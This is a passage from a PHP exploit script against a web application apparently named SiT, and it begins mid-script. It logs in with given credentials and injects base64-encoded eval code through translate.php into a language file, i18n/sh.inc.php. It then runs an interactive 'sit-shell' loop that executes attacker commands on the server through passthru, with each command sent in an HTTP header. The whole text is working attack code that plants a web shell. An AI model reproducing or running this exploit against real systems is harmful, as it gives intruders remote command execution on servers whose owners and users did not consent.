\n"; print "\nExample....: php $argv[0] localhost / user pass"; print "\nExample....: php $argv[0] localhost /sit/ user pass\n"; die(); } $host = $argv[1]; $path = $argv[2]; $payload = "username={$argv[3]}&password={$argv[4]}"; $packet = "POST {$path}login.php HTTP/1.0\r\n"; $packet .= "Host: {$host}\r\n"; $packet .= "Cookie: SiTsessionID=foo\r\n"; $packet .= "Content-Length: ".strlen($payload)."\r\n"; $packet .= "Content-Type: application/x-www-form-urlencoded\r\n"; $packet .= "Connection: close\r\n\r\n{$payload}"; $response = http_send($host, $packet); if (!preg_match("/main.php/", $response)) die("\n[-] Login failed!\n"); if (!preg_match("/Set-Cookie: ([^;]*);/", $response, $sid)) die("\n[-] Session ID not found!\n"); $phpcode = base64_encode('passthru(base64_decode($_SERVER[HTTP_CMD]));print("___");'); $payload = "mode=save&lang=sh&str;eval(base64_decode({$phpcode}));//=1"; $packet = "POST {$path}translate.php HTTP/1.0\r\n"; $packet .= "Host: {$host}\r\n"; $packet .= "Cookie: {$sid[1]}\r\n"; $packet .= "Content-Length: ".strlen($payload)."\r\n"; $packet .= "Content-Type: application/x-www-form-urlencoded\r\n"; $packet .= "Connection: close\r\n\r\n{$payload}"; http_send($host, $packet); $packet = "GET {$path}i18n/sh.inc.php HTTP/1.0\r\n"; $packet .= "Host: {$host}\r\n"; $packet .= "Cmd: %s\r\n"; $packet .= "Connection: close\r\n\r\n"; while(1) { print "\nsit-shell# "; if (($cmd = trim(fgets(STDIN))) == "exit") break; $response = http_send($host, sprintf($packet, base64_encode($cmd))); preg_match("/\n\r\n(.*)___/s", $response, $m) ? print $m[1] : die("\n[-] Exploit failed!\n"); } ?>